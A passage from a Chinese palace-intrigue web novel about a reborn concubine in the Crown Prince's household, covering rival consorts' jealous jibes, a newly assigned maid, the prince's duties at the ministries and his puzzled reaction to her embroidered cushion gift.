吃苦受罪的都是她家主子!
庞嬷嬷越想越心疼,愈发老泪纵横起来。
郑明芷也哭。
但她哭的,却不是庞嬷嬷所想。
而是不甘心。
不甘周遭的女人为何只她这样,不甘为何只她生来便有那等癖好!
若全天下的女人都同她一样有那样的癖好,那她便无需遮掩,无需感到羞耻,更不用被自己的男人厌恶!
还能尽情享受那事带来的爽快!
多好。
可惜,这世道对女子苛刻。
既要她们成婚时务必是完璧之身,又要她们成婚后三从四德。
也可惜,只有她有这等癖好。
怎么就只有她呢?
郑明芷咬牙,眼底闪过一抹阴翳。
旋即,她想起一件事来。
擦了眼泪坐直身道:“照他今晚对那贱蹄子的维护,你说届时他会不会反悔,让那贱蹄子自己养孩子?”
这是个问题。
庞嬷嬷想了想:“应该不会。”
“为何?”
庞嬷嬷站起来警惕地朝外面四处看了看,确定没什么人在附近转悠。
她才回来低声道:
“您别忘了,让那蹄子替您生孩子这事可是上边儿那两位点了头的。
殿下真要反悔,总得有个合适的理由。
男人都好面子,那场事殿下既然当初没宣扬出来,今后便也不可能同谁说。
如此,在外人看来您便没有可指摘的地方,您没错,殿下怎能出尔反尔呢?
搞不好可就要落得个宠妾灭妻的罪名!殿下能为了那小蹄子担这么个罪名?”
当然不能。
郑明芷稍作思索,放心了。
庞嬷嬷拍拍她的手,随即凑近耳语:“甭管殿下如今是真稀罕那小蹄子还是假稀罕,往后又能稀罕多久。
总归他还愿意认您做这个东宫主母,咱们就还有机会,眼下那位爷既不想让您管他事,那咱们便不管。
您越是顺着他的意思,越是端庄大度,那位爷对外便越没有理由将您如何。”
郑明芷沉吟,最终发出一声冷笑。
“行,顺了他的意,”
至于宋槛儿那贱婢。
今后她有的是机会收拾她!
翌日。
小福子是个机灵的。
知道昨晚后院肯定不平静,所以老早就出去转了一圈,打探了不少消息。
槛儿梳妆时,他便立在一侧。
将这些消息都给禀了。
像是昨晚太子来永煦院前和太子妃貌似发生过争执,后院一众人心里多多少少对这件事的看法什么的。
都是处在槛儿这个位置应该掌握的一些消息。
槛儿听完面露惊讶,实则心里早在昨晚睡前就大致对这些情况有了猜测。
若非闹了矛盾。
太子不可能那么下郑氏的脸子,在该对方侍寝的日子来了她这儿。
只不过。
槛儿虽知道太子这
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时候和郑氏有隔阂,不然重活回来那一晚也不会用苦肉计,暗中在太子面前给郑氏添堵。
但这其中的缘由,槛儿却不清楚。
上辈子前面的那十年她和太子不亲,太子在外对谁又都是那张冷脸。
加之每月初一、十五和逢十的日子,太子都会宿在嘉荣堂,槛儿也就从没想过他和郑氏实则貌合神离。
而上辈子槛儿能知道这时候的太子和郑氏不和,还是她得知害死曜哥儿的是郑氏,下定决心和对方斗时。
经多方旁敲侧击打听来的。
可惜关于二人闹矛盾的根源,不管槛儿用什么法子都没能打探出来。
想来是太子当初下了禁口令。
槛儿也就无从查起。
所以,太子和郑氏的矛盾究竟是什么?
槛儿暗自琢磨,抬头从镜子里见寒酥欲言又止,她不禁问:“怎么了?”
寒酥顿了顿,道:
“奴婢在想,昨晚该太子妃侍寝,但殿下来看您了,太子妃会不会因此迁怒您,奴婢没别的意思,奴婢就是……”
“不用解释,我知道。”
槛儿打断她的话道。
寒酥稳重,平时话不多。
但她侍候主子尽心,待下温和,上辈子除了瑛姑姑,就数她待槛儿最细致。
“不为我,单为你们自己,你们怕吗?怕太子妃迁怒,亦或者旁人指摘。”
槛儿不答反问。
给槛儿梳发的寒酥、跳珠,以及端着东西立在一旁的望晴喜雨互相看了看。
然后齐齐摇头。
跳珠正色道:“奴婢们听主子的,主子不怕,奴婢们就不怕,主子要奴婢们做什么奴婢们就做什么。”
槛儿点点头。
“有些事不方便跟你们说,但一点可以肯定,我不怕,你们也不要怕。”
上辈子她怕够了,也听够了郑氏的话。
这辈子如果还因为要顾忌两人的身份地位之差,而把到手的宠爱往外推,那她真就白活这么些年了。
何况如果连这样的宠爱都承受不起,那她还争哪门子宠,不如回棺材里去!
得了昭训主儿的准话。
东厢上下如同吃了颗定心丸。
性情外向的跳珠、喜雨和小福子小喜子更是一副打了鸡血,恨不得马上跟自家主子干一番事业的模样。
然后就被瑛姑姑敲打了。
主子正是关键的时候,可容不得他们乱来。
“哟,今儿赶巧,碰上宋妹妹了。”
从西六院出来,槛儿和跳珠刚拐弯,便听身后不远处传来一道爽朗女声。
正是曹良媛,旁边跟着秦昭训。
第31章 太子妃卧病,曹良媛吃瘪
“曹姐姐,秦姐姐。”
曹良媛走近。
扫了眼槛儿白皙粉嫩的脸蛋和娇艳更盛的眉眼,她唇角不显地拉了拉。
三人一道往嘉荣堂走。
曹良媛行在前面,槛儿和秦昭训落后她一步的距离跟在左右两侧。
“还没恭喜妹妹呢。”
曹良媛笑着道。
“这么快就又侍寝了,早先殿下可还从没这般频繁地让人侍过寝呢,妹妹这一来就把我们都比下去了。”
确切的说。
是把金承徽和秦昭训比下去了。
毕竟单论侍寝次数,目前东宫的几个侍妾里曹良媛可是拔得头筹。
在外人看来,她可用不着酸。
曹良媛这么说,其实就是给槛儿招仇,最好是能让槛儿同秦昭训对上。
槛儿听出了她的挑拨之意,余光也注意到了秦昭训那张冷若冰霜的脸。
她不禁暗哂。
偏过头,假装羞涩一笑。
“曹姐姐别打趣我了。”
曹良媛想看槛儿羞窘,不知所措。
亦或者说些类似于“比起姐姐,我自愧不如”的话,如此她便能借机暗讽。
让对方清楚她不配同她比。
结果对方不上套。
又见她模样娇羞,楚楚动人,说起话来声音娇柔婉转,似空谷幽泉悦耳动听。
曹良媛顿时有种嗓子眼儿里卡了只苍蝇的感觉,吞不下去又吐不出来。
“这可不是打趣,是实话。”
她抚了抚心口,笑道。
“妹妹不若同姐姐们说说,你是怎么讨殿下欢喜的?姐姐们也好学学。
改日殿下往我们屋里去,我们也能讨个殿下的笑脸,你说是不是?秦昭训。”
秦昭训拿眼角瞥槛儿:“嗯。”
槛儿的关注点有些偏了。
心道太子的笑脸,她有见着太子的笑脸吗?
嗯,见过一回。
重活回来那晚,她答完他的那个问题之后他笑过,但也就是一瞬间的事。
昨晚倒是也笑了。
可惜当时屋里黢黑,她还背对着他,根本没看到他那时笑起来是什么样。
也不懂他当时在笑什么。
笑她裹成一团?
槛儿甩开脑子里那些有的没的的,对曹良媛道:“这怕是不好吧?”
曹良媛掩唇戏谑:“这有什么不好的,难不成妹妹怕姐姐们学了去,是时分了你的宠,同你抢殿下?
你放心,便是姐姐拿妹妹的法子讨了殿下的欢喜,也绝不会忘了妹妹的好!”
秦昭训难得冷声附和:“都是姐妹。”
说得好听。
话里话外算计的姐妹吗?
槛儿垂了垂眼,斟酌道:“不是不给姐姐们说,而是我也不知殿下的喜好……”
顿了顿。
她神态小心地抬起头:“事关殿下的喜好,我们这么谈论是不是不妥?”
闻言,曹良媛和秦昭训的脸色一变。
太子是储君,一言一行宫里宫外不知多少双眼睛盯着,容不得半点岔子。
于旁人而言,一个小小的喜好算不得什么。
可对太子来说,哪怕一件微不足道的小事,都有可能为人津津乐道或是落人口柄。
身为东宫内眷。
自然要以太子为重,言行也要谨慎周全。
就她们方才的那番话,若是让有心人听了去,极有可能惹来麻烦不说。
传到太子耳中也有可能会被误以为,她们是在埋怨他没有雨露均沾。
秦昭训的眼里难得掠过一丝慌乱。
曹良媛的神色僵了一瞬后重新扬起唇角,看着槛儿的眼神别有意味。
“妹妹果真是个伶俐人儿。”
这是暗指槛儿看似老实本分,实则心眼儿多,这么快就能反应过来。
槛儿略显感慨似的道:
“姐姐谬赞,我哪是什么伶俐人,不过是奴才做久了练出来的本能反应。”
还真是一点儿也没把自己的出身藏着掖着。
曹良媛被噎了一下。
一时竟有些不确定这人究竟是真没有羞耻心,还是故意装出来的。
不多时,三人到了嘉荣堂。
却是刚进院子便见柳太医从正房出来,院中隐约弥漫着一股药味儿。
没等槛儿她们问。
正房门前的宫女就同她们说太子妃身子不适,让她们喝了茶走便是了。
曹良媛挑了挑眉。
今日的茶是常州府进贡的阳羡雪芽,此茶香气清雅,色泽翠绿,也只有皇室中人才喝得上这样的茶。
曹良媛端起茶盏拨了拨浮沫,目光不着痕迹地往槛儿的位置瞥了瞥。
秦昭训则低头轻啜了一口。
而后拿手帕拭唇,借动作掩饰将那口几乎没有的茶吐在了手帕上。
吐完。
她的余光也不显地往旁边斜了斜。
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槛儿没察觉到她们的目光,不过屋里这种微妙的气氛她多少感觉出了。
原因槛儿自然清楚。
因为后宅里多的有正妻趁妾室来请安的时候,让人在吃食上动手脚的。
为的便是给妾室避孕,或是日积月累地伤了人的身子,让人永远不能生。
尽管现在郑氏还指望槛儿生孩子,不至于这时候就让人往她喝的东西里动手脚,但所谓小心驶得万年船。
郑氏这人,忽晴忽阴的。
既想要她替她承宠生子,又打心底瞧不起她的出身,见不得太子宠幸她。
为此上辈子没少有小动作。
不管昨晚的事郑氏这会儿心里如何作想,槛儿防患于未然总归没错。
见她不但喝了茶,还连喝了两口。
秦昭训眼神略带嘲讽。
曹良媛轻笑了声。
“太子妃抱恙,宋妹妹不去探望探望?”
这是在借机试探槛儿和太子妃的关系亲疏,也是想趁机会窥探出几分昨晚太子太子妃闹矛盾的原因。
槛儿懒得同她虚与委蛇,看向立在一旁的宫女:“我可能去探望太子妃?”
“宋昭训稍等,奴婢前去通禀。”
稍顷,那宫女回来了。
“宋昭训的心意我们太子妃心领了,但柳太医有交代,太子妃要静养。”
槛儿点头表示明白了。
随即看向曹良媛,神情一派的纯真无邪,“曹姐姐,太子妃要静养。”
曹良媛:“……”
曹良媛严重怀疑这人是故意的!
她又不是聋子。
用得着专门重复给她听吗!
然而对方眼神清澈,态度坦荡,曹良媛一时还真没看出什么不对劲来。
但她还是憋闷得慌。
因为这份憋闷,回去的那半截子路曹良媛都没跟槛儿一道了,兀自寻了个理由就先走了,还走得飞快。
眨眼便不见了踪影。
秦昭训紧跟其后。
槛儿乐见其成。
和跳珠不疾不徐地回了住处后,将今早带的那条细棉布帕子交给了喜雨。
早膳过后。
槛儿寻思着自己要送给太子的东西需得抓紧时间做,便打算让望晴她们带上打样的工具,去小花园。
这时,小福子忽然进来。
说元淳宫的袁宝公公来了。
还带了个人来。
槛儿下意识问:“什么人?”
第32章 元隆帝:“你把那个侍寝宫女收进后院了?”
“奴才请宋昭训安。”
院子里,袁宝上前客客气气拱了拱手。
槛儿:“袁公公客气了。”
袁宝咧嘴笑笑。
随即让身后随行来的宫女上前。
“海总管寻思着昭训这儿的人都刚从内务府调过来,对东宫不熟,办起事儿来难免束手束脚,没个章程。
便叫奴才来给昭训屋里添个人,这丫头是元淳宫的一个二等宫女,叫银竹,打今儿起就到您跟前伺候了。”
他这头说完话。
那宫女便规规矩矩地向槛儿行了跪拜大礼,“奴婢银竹,见过昭训主子。”
她十八左右的年纪。
生得方圆脸,细长眼。
瞧着其貌不扬,但胜在气质沉静稳重。
以槛儿现在的位份,身边两个大宫女两个二等宫女,小福子四个小太监。
正正好。
如今再添一个,明显不符合规制。
但人是海顺让送过来的。
海顺手上的权力当然没那么大,能直接越过太子妃插手后院的事。
所以只能是太子的意思。
槛儿对银竹叫了起,考虑到自己现今的年龄性情,她假作犹豫了一下。
“袁公公,你看我身边的人已经够了,银竹若留下,怕是不合规矩。”
“不碍事不碍事。”
袁宝笑眯眯道。
“咱们东宫进了新主子,按规矩调来伺候的人该是一部分从东宫内部协调,另一部分才是内务府安排。
这好巧不巧,您来的那天咱们的人没协调好,便只好都让内务府安排了。
现下您这儿的人对咱们这地儿不甚熟悉,加派个人手过来帮帮忙也是合乎规矩的,您请不必忧心。”
槛儿了然,放心了。
不管太子此举为何,总归人是经他准许安排来的,这对她来说是好事。
不过,槛儿这边是放了心。
寒酥跳珠她们就没那么放心了,担心她们中间的谁会被银竹换掉。
那怎么行啊。
他们这些伺候人的,最大的盼头就是能跟个好主子,日后也好水涨船高。
宋昭训眼见着入了太子的眼,得宠指日可待,往后指不定多大的造化呢。
真把她们换了。
她们就亏大了!
当着袁宝的面,跳珠她们没敢开口。
等人一走,跳珠便避开银竹,跟槛儿说了自己的担心,眼神可怜兮兮的。
槛儿忍俊不禁。
“应该不会,没听袁公公说是来帮你们忙的吗?”
跳珠:“万一呢?万一她服侍得好……”
跳珠发誓!
可不是她容不下人,而是关系到自己的前程,她当然不能由人挡了自己的路!
槛儿想说不会。
毕竟上辈子她和寒酥就跟着她了,她当下的处境自然是熟悉的人更放心。
但话到嘴边。
槛儿从敞开的槅窗瞥到了院里的情形。
喜雨正在跟银竹说他们平日里做的差事,让银竹清楚每个人的分工。
这是槛儿交代的。
小福子小喜子也跟着一道,问银竹在元淳宫当差具体都做些什么。
气氛很和谐。
唯独望晴。
人虽是跟着喜雨他们一道的,但很少开口说话,一副心不在焉的样子。
“主子?”跳珠唤了一声。
槛儿收回目光,秀眉扬了一下,调侃道:“那就看你们谁侍候得好了。”
跳珠先是一怔,随即打了鸡血似的:“您放心,奴婢肯定侍候得好!”
槛儿拿了几支描花用的笔,临出门不忘补充了一句:“不可以欺负人。”
“不欺负!”
跳珠说到做到,接下来的一整天不但没欺负银竹,还充分展现了她身为大宫女的器量,对人处处关照。
喜雨有样学样,一旦银竹想替槛儿做个什么,她都会来一句“放着我来”。
搞得看起来稳重老练的银竹都有些不知所措了,还是瑛姑姑实在看不下去,重新分派了一下各自的差事。
这事才算作罢。
因着每个院里的宫人都有定数,也因为人是元淳宫那边送到槛儿院里的。
所以一天下来,后院里该知道的都知道了。
不少人原以为太子妃会有什么动作,但出乎意料的是嘉荣堂没有任何动静。
有人路过嘉荣堂门口,都只闻见里面传来的药苦味,院里安静得出奇。
倒确实像是在安静养病。
傍晚时分,望晴和喜雨要去膳房提膳,槛儿随口让银竹也跟她们去了。
回来时三人的手都没空。
除了槛儿的晚膳,膳房还送了两道新出的冰饮,樱桃酥酪和冰雪冷元子。
前者就是将牛乳自然发酵加入杏仁汁,冰镇后佐以去核樱桃和蜂蜜。
后者是把绿豆沙搓成小丸,浸入碎冰中,再加些茉莉与蜂蜜一起冰镇。
这个时节,这种冰饮最是解暑不过,而这些并不在槛儿的份例里。
其实按理说太子昨晚跟太子妃闹了矛盾,还在那之后来了槛儿这边。
在旁人看来槛儿显然被卷入了两个主子的矛盾中,且她的位份还不高。
这种情况。
正常思维谁会乐意冒着得罪太子妃的风险,而选择去讨好一个小昭训啊?
可俗话说家有千口,主事一人,说白了东宫真正的主子从始至终就只有一个。
宫人们若因为不想得罪太子妃而疏远宋昭训,摆明了就是把太子妃看得比东宫那位最大的主子还要重。
且还容易加深太子和太子妃的矛盾。
这种事没人敢做。
所以出于这种种考量。
膳房今儿还是该怎样就怎样,权当不知道上头两位主子闹矛盾的事。
冰饮解暑爽口,但性寒凉。
槛儿注重个人保养自觉的没有多食,只拿银勺子分别吃了两口,便让小福子几个小太监端下去吃了。
喜雨差点没为这事跟小福子打起来,说她不怕凉,要从小福子手里夺食。
瓜果也一样。
冰盆里的冰没多会儿就化了,切好的瓜果没有冰镇着放一晚铁定坏,所以最后也进了小福子他们的肚子。
晚上临睡前,槛儿努力回想了一番上辈子这个时候东宫发生的一些事。
如果她记得没错。
太子应该就在这几天要入朝了,他接下来至少十来日不会来后院。
好在她能自己寻乐子,日子并不无趣。
只希望太子入朝的事顺顺利利,千万不要像她重活回来那晚一样出现变故。
.
太子的确要入朝了。
就在槛儿侍寝的次日一早,元隆帝下了早朝后将太子叫到了乾元殿。
按大靖制,太子作为皇位名正言顺的继承人,及冠之龄便可入内阁听政。
即旁听,不干政。
这是皇帝制衡内阁的一种策略,也是锻炼储君治国理政之能的必要手段。
太子一旦入了内阁听政。
不仅自身在朝中的影响力增强,东宫的势力与往日相较也是不可同日而语。
骆峋早几年便
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开始暗中布置,将心腹暗子安插在朝中,为的就是这一日。
而除了进内阁听政。
大靖储君是可直接入朝担任官职的,这也是锻炼太子能力的一种手段。
区别就在于。
内阁是权力中心,能间接参与各项朝政决策过程,接触各个领域的要务。
太子若只单纯地担任官职。
便是远离了权力中心,如此在朝中的影响力和话语权便将大大削弱。
只不过,很显然。
元隆帝这回虽有意让骆峋入朝,却摆明了不打算让他入内阁听政。
而是让他从明日起,到六部去观摩。
各部先待两日,随同尚书巡查府部各职房,与侍郎一道协助尚书办差。
对此,骆峋并无不满。
皆因他清楚自己现今空有贤名,没有功绩。
纵使读过再多经史子集。
学过再多治国理政。
看过再多元隆帝批阅过的奏章,实则都不过是纸上谈兵,囫囵而言。
这对一国储君来说很不利。
尽管入内阁听政能更为迅速地帮他熟知政务,全面了解本朝国情。
于巩固自身势力也有利。
但容易被人构陷攻讦也是真的,且更容易诱发父皇对东宫进一步的猜忌。
既如此,倒不如进六部。
因此,不论旁人如何想。
骆峋对于自家皇帝老子让他去六部的这个决定,心里很轻易地就接受了。
当然,表面该演的还是演了。
接下来的十来日。
骆峋便按吏、户、礼、兵、刑、工的顺序,频繁往来于东宫和六部衙门之间。
忙得脚不沾地,晚上做梦都是办差。
别说往槛儿屋里去了。
就是后院这个地方,骆峋都没想起过。
等到六部衙署观摩结束,骆峋向元隆帝复命时又被派往了京城三大营。
如此又忙了两日。
这日下午。
骆峋从神机营回来去了一趟乾元殿。
元隆帝见历来爱洁的儿子这些日子来回奔波,身上不仅沾染了尘土、汗水,白皙的面庞也似晒黑了一个度。
嗯。
气势也更甚从前了。
元隆帝满意地颔颔首。
照例先问了些问题,骆峋对答如流。
“不错。”
元隆帝起身,绕过御案来到儿子跟前,顺手捏了捏儿子愈发结实的肩。
“所谓不患无位,患所以立,你此前久居深宫,圣贤书读得不少,但真正办起事来光靠圣人的书是不行的。
知行合一,止于至善,不要总想着高居庙堂之上就能治理好一个国家。
你既为储,便当得脚踏实地,切记大事皆起于小事,小事不论,大事将不可救。”
元隆帝今年五十有七。
生得伟岸健硕,英武不凡。
除了两鬓略有白发,眼角几道细纹外,单从身形来看说是三十出头也不为过。
一身玄色龙袍让他穿得威风凛凛,气吞山河,往那一站通身的不怒自威。
经他一衬。
比其他几位成年皇子都要来得高大的太子殿下,就如同一棵还未长成的青松。
“儿子谨遵父皇教诲。”
“嗯。”
元隆帝双手负后。
“明日端午,放你两日假,假后来上朝,届时朕再告于朝臣你要去的地方。”
骆峋应是。
元隆帝终于不再说正事。
“前些日子听你母后说,你把你媳妇儿给你的那个侍寝宫女收进后院了?”
第33章 求偶?太子爷害臊了!
元隆帝日理万机,心里装的都是江山社稷,平时没空关心儿子们的私生活。
今日倒是难得有闲。
骆峋微微垂目,“是。”
元隆帝点点头。
“难得有个合你心意的,收了就收了,你的后院到底还是空虚了,你哥哥们在你这个年纪都当好几回爹了。”
骆峋面不改色。
“子女亦讲缘,可能儿子的缘分还未到。”
元隆帝知道他在瞎说。
也没拆穿。
“行,明年选秀,若你的子女缘选秀前还未到,朕就做主给你充盈后院了。”
骆峋:“……”
元隆帝难得问起儿子的私事,不论出于何因,此时都不是拒绝的好时机。
何况还有近一年的时间。
他有足够的时间让其收回成命。
骆峋拱了拱手,“劳父皇费心。”
从乾元殿出来。
骆峋去探望了裴皇后,随后才折身回东宫。
明日端午,按惯例太子今儿要大赏后院。
海顺见自家爷回来清洗完满身的污尘,正准备吃茶,神色瞧着较为平和,他便趁机请示起赐赏的事。
听他提起后院。
骆峋终于想起被自己遗忘了半月的小昭训。
顿了顿。
他声音淡漠:“你安排即可。”
“好嘞,奴才这就吩咐下去。”
说着,海顺就要出去。
只是还没迈开脚,就听太子爷问:“她可好?”
这个她,不言而喻。
海顺险些没笑出来。
好在让他给忍住了。
“回殿下,宋昭训好着呢。”
说完,他突然一拍脑门儿。
“瞧奴才这记性,光顾着赏赐的事儿!”
骆峋以眼神询问。
海顺:“宋昭训给殿下送了件儿节礼呢,晌午同太子妃、曹良媛她们的一道送来的,殿下现在可是要看?”
骆峋放下茶盏:“呈上来。”
没多会儿,槛儿她们这些女眷送给太子的端午节礼被摆上了桌。
太子妃送的是一幅她亲手画的太子别苑端午射柳图,看得出来画功了得。
太子身上佩戴的五毒香囊的五毒,都让她画得栩栩如生,活灵活现,更别提河堤之上搭箭拉弓的太子。
脸虽然是冷的。
但那气势,虎虎生风所向披靡。
还挺写实。
海顺看了一眼,暗道。
去年陛下率众人前往别苑过端午,太子参加射柳时可不就是这般威风凛凛。
海顺偷偷觑了眼太子。
自打半月前那场争执之后,太子妃便一直“病”着,倒也不是什么“大病”。
就是季节变换,一冷一热导致的阴阳不调,肺气不宣,吃了几服药有所好转。
但精气神还没完全恢复。
坤和宫前些日子还来人看了,传了娘娘的口谕,让太子妃好生养病。
最近后宅的琐事都是由太子妃嫁进来前,负责打理后宅内务的孙嬷嬷管着。
曹良媛她们每日倒是照常去嘉荣堂请安,但太子妃一直没露过面。
都是让她们喝一盏茶,或者站上两刻钟就把人打发了,倒没生什么事端。
就是太子上月底三十和这月初一没去嘉荣堂,甚至连顿膳都没到那边用。
这还是前所未有的。
哪怕后院的一众人知道太子在忙着正事,心里也难免绷着一根弦。
生怕城门失火殃及池鱼。
所以这半个月,整个后宅的气氛都不见好。
海顺在考虑要不要劝两句。
毕竟太子正值关键时候,若一直这么僵下去,难保不会有什么风声传出去。
但转念想,太子就是当事人,他能不清楚这时候什么能什么不能做?
“做好你的分内事即可。”
突然,太子清冷的声音响起。
海顺一个激灵。
见太子的视线分明落在那幅画上,却能看透他的心思,海顺不由心有余悸。
忙擦了擦额角的冷汗。
讨好地应了声“是”。
骆峋对自己的威风形象无感,看了两眼那幅画后便放到了一旁。
海顺让人把画收起来,继续照着位份顺序给太子介绍其他人的节礼。
曹良媛的是一枚五毒香囊。
海顺一眼认出了那香囊上的五毒,是曹良媛身边的嬷嬷的手艺,独中间蟾蜍的眼睛跟其他地方略有不同。
金承徽的是荷包。
绣的也是五毒,能看出绣房荷姑姑的手艺,唯有壁虎的尾巴走线略有异。
秦昭训的是一个绫缎杏黄底五色蜀葵撒扇面,旁边还题了首吟端午的词。
倒是挺符合她的气质。
轮到宋昭训的了。
很好。
看不出来是不是她自己做的,但能保证不是东宫绣房里任何人的手艺。
就是这玩意儿不同于荷包香囊、丹青扇面等雅物,它是一张垫子!
一张两尺见长,一尺见宽的坐垫!
好家伙。
谁家节礼送坐垫啊??
别说海顺当时看到这样礼时愣住了,就是太子殿下此时也怔了怔。
没等海顺
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介绍。
骆峋径自拿起那张垫子。
“这是她的。”
海顺咳了咳。
“东西是太子妃命人一道送来的,奴才不知宋昭训具体是何意,不过既是坐垫,想来是想殿下您拿来坐的。”
这不废话么。
坐垫不用来坐,难不成用来做枕头?
太子爷睨了海总管一眼。
“孤看起来很傻?”
海顺:“……”
骆峋拿着坐垫端详。
不解小昭训为何想到送此物给他。
难道她知道他前些日子在六部衙署办差,有时一坐便是一整日,坐得他……
故而做了这垫子与他?
不对。
她深居后院。
即便有从旁人口中听说他近期忙于前朝之事,也无从得知他具体做何,这一点便是郑氏都知道的不多。
她自然更不清楚。
所以,不是因为知晓他的窘况。
那为何送坐垫?
骆峋不明所以。
见海顺也说不出什么所以然,他索性不再问,仔细看起了这张坐垫。
靛青色的暗花缎面,绣着雀戏榴花图。
绣技精湛,巧夺天工。
茂密翠绿的叶片上脉络纹路清晰可见,叶面上隐约泛着浮光,恍若清风吹拂下日光穿过树叶罅隙投照下来。
榴花朵朵绽开,橙红色的花瓣之中金色的蕊上还坠着几颗细小露珠。
树荫之下怪石嶙峋,流水潺潺。
无一不活灵活现,惟妙惟肖。
若非这幅图绣到了坐垫上,缝上了十六宫格线,当真不失为一幅好画。
骆峋欣赏了会儿,准备把垫子交给海顺。
让他铺到书房的座椅上。
但就在这时,他注意到一处异样。
只见那棵石榴树的枝丫上,那两只被他略过的长尾山雀竟是一雌一雄。
个人稍小,微微有些丰腴的明显为雌,另一只**色艳丽稍大些的为雄。
这也就罢。
关键雌山雀面朝雄山雀,喙中衔着一枝榴花,偏着的毛茸茸雀脸上泛着两团小小红晕,看样子是在求偶?!
骆峋:“……”
耳垂微热,心跳莫名漏了一拍。
她可真不害臊。
骆峋眉头不显地蹙了蹙,暗想。
香囊荷包这等物件便够亲密了,她却是舍了这些,大剌剌地送了这等……
这等难登大雅之物!
简直大胆,放肆!
骆峋默默移开目光。
再默默看过去。
嗯。
衔花的肥雀倒挺可爱。
第34章 太子设宴,东宫女眷到齐
“主子,您今儿怎么了?”
书房里。
寒酥见自家主子迟迟没落笔,且这种情况今天下午已经出现了好几回。
她忍不住问了出来。
槛儿捏了捏笔杆,“没什么,只是在想殿下有没有看到那份礼,会不会不喜。”
其实她是在想明天的端午宫宴。
每年端午。
元隆帝和裴皇后都会率群臣及其家眷到西苑过节,皇子公主们自要参加。
已成婚的皇子公主要带上各自的家眷,若皇子有侧妃,也要带着随行。
大靖东宫良娣便算侧妃。
太子没有良娣。
郑氏嫁进东宫前,过去三年凡有宴都是由曹良媛作为东宫女眷代表出席。
郑氏进门后便是她和曹良媛一同参宴。
槛儿这个位份自然是没资格出席明天宫宴的,她也没想过要去凑热闹。
但问题是。
槛儿记得上辈子今年的端午宫宴上发生了一件事,这件事看似只是场意外。
然而太子惨遭幽禁时,这件事却成了别人指控太子有罪的一项把柄!
可惜时间隔得太久。
加上前世这时候槛儿被郑氏拘在嘉荣堂,寸步难行,消息来源很有限。
以至于她对这事也是一知半解,只知道大致是太子在宴会上参加射柳时,不小心射**葫芦里的鸽子。
端午的射柳活动意在祈福。
射破葫芦放生鸽子,象征着吉祥。
鸽子**便被视为不吉,这种象征民间的人重视,皇家更是不遑多让。
偏射死鸽子的人,还是太子。
外面的情况如何,槛儿当时不清楚。
能确定的是。
因为这件事,东宫那段时间看似平静,实则人人都觉得头上悬着一把刀。
这几天槛儿就一直在琢磨,这辈子该怎么样才能帮太子避开这桩麻烦事。
太子箭术好,又几乎年年参加射柳,射柳的技巧可以说早到了出神入化的地步,根本不可能犯这样的错。
这明显就是有人陷害。
太子的谋略跟手段槛儿亲眼见过,自然是相信的,可所谓智者千虑必有一失。
且双拳难敌四手。
在几乎所有人都盯着东宫的情况下,太子纵使手眼通天,也保不齐有疏漏。
寒酥哪知道自家主子心里藏着这么大的事呢,听她发愁太子会不喜那份礼。
寒酥不由宽慰道:“主子手艺好,送的礼实用性又高,殿下不会不喜的。”
“但愿吧。”
槛儿若无其事地笑笑。
这时,瑛姑姑走了进来。
“主子,时辰差不多了,更衣吧。”
槛儿点点头,搁下笔去了卧房。
她和金承徽、秦昭训虽没有资格出席明天的宫宴,可她们也要过节。
除了有众多兄弟姊妹叔婶伯娘的这个大家,东宫还是太子自己的小家。
每逢春节、端午、中秋这样的节日,太子都会提前一日在东宫举办一场家宴。
宴就摆在元淳宫。
太子许久没来后院。
早先因为槛儿连着两回侍寝,而在后院引起的波澜也早已经平静下来了。
槛儿自己倒是看得开。
虽然忧心于太子即将面临的麻烦事,但她已经想到了两个法子应对了。
所以每天还是该吃吃,该喝喝,偶尔再表现出几分对太子的想念。
瑛姑姑他们自然担心太子久不来后院,会忘了自家昭训,可为了不让主子糟心,他们也没敢表现出来。
今儿主子终于能见到太子了,跳珠、喜雨和小福子他们乐得跟捡了银子似的。
一个个笑得见牙不见眼。
如果不是太子妃的病还没痊愈,寒酥她们铁定要把槛儿打扮得漂漂亮亮。
差不多快到酉时。
槛儿领着跳珠出了门。
后院到元淳宫没有捷径,只有经嘉荣堂院前的庭院,再过穿堂这一条道。
所以在去元淳宫前,槛儿等妾室要先到嘉荣堂给太子妃请安,再由太子妃领着她们一同前往元淳宫。
也是巧。
槛儿主仆俩刚走到嘉荣堂门口,迎面就碰上了因今日日子特殊,而被临时解禁的金承徽和她带的宫人。
看到槛儿,金承徽先是一怔。
旋即跟炸了**的猫似的,拿她那双大大的桃花眼直个劲儿地瞪着槛儿。
槛儿不慌不忙地见礼。
金承徽还是瞪!
她可没忘自己当初又被扇耳光又被罚抄宫规,被禁足是拜谁所赐!
这个小贱婢!
“看来你这段日子过得不错啊,都把自己吃胖了,平时你都不照镜子的吗?”
金承徽抱臂。
视线恶意满满地落在槛儿的身前。
金承徽往日最是以自己清瘦纤细的身段儿自豪,弱柳扶风,苗条轻盈。
多美啊。
所以她最看不惯生得膀大腰圆牛高马大,或者面前挺得鼓鼓囊囊的女人。
简直就像那产乳的牛!
金承徽的大宫女紫苏扯扯自家主子的袖子,暗示她别在这个时候惹事。
金承徽兀自不搭理。
仍旧嘴斜眼歪地盯着槛儿。
“劳金姐姐还记得我之前什么样子。”
槛儿害羞般笑了笑,软声道。
“都是托殿下的福,东宫安宁祥和。
我等后宅女眷方能饱衣暖食,自在无忧,没什么可操心的,身子不自觉便胖了起来,让金姐姐见笑了。”
金承徽差点吐血!
自己嘲她一句胖,这人居然也能趁机拍殿下的马屁,还拍得这么高明!
她若继续嘲,岂不等于说殿下的不好?!
不愧是狐狸精,狡猾至极!
金承徽磨牙。
好不容易才从脑子里搜刮出几句。
“我们过得好自然是托殿下的福,但你好歹是后宅女眷,是要伺候殿下的。
若是连口腹之欲都控制不住,任由自己
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变得肥头大耳,腰如水桶,是时污了殿下的眼你又该当何罪?”
槛儿微微福身。
“谢金姐姐提点,妹妹定铭记在身。”
金承徽:“???”
谁提点她了?
谁要提点她了!
金承徽气憋。
想吼一句这女人是不是听不懂人话。
但话到嘴边。
曹良媛和秦昭训带着人一前一后朝这边过来了,金承徽不想让这俩知道她跟姓宋的对阵落了下风。
重重冷哼一声。
趁那两人还没走近,她头也不回地进了嘉荣堂,步子踩得又沉又急。
像是恨不得把地当槛儿在踩。
槛儿只当没看见。
郑明芷还在内室梳妆。
槛儿四人进到厅堂后便跟早上请安时一样,坐在各自的位置上或喝茶或闲聊。
瞧着倒挺和睦。
一刻钟后,郑明芷从内室出来。
十多天不见,她比先前清瘦了不少,眉宇间还残存着一丝脆弱的病态。
打扮得倒是一如既往的雍容端庄。
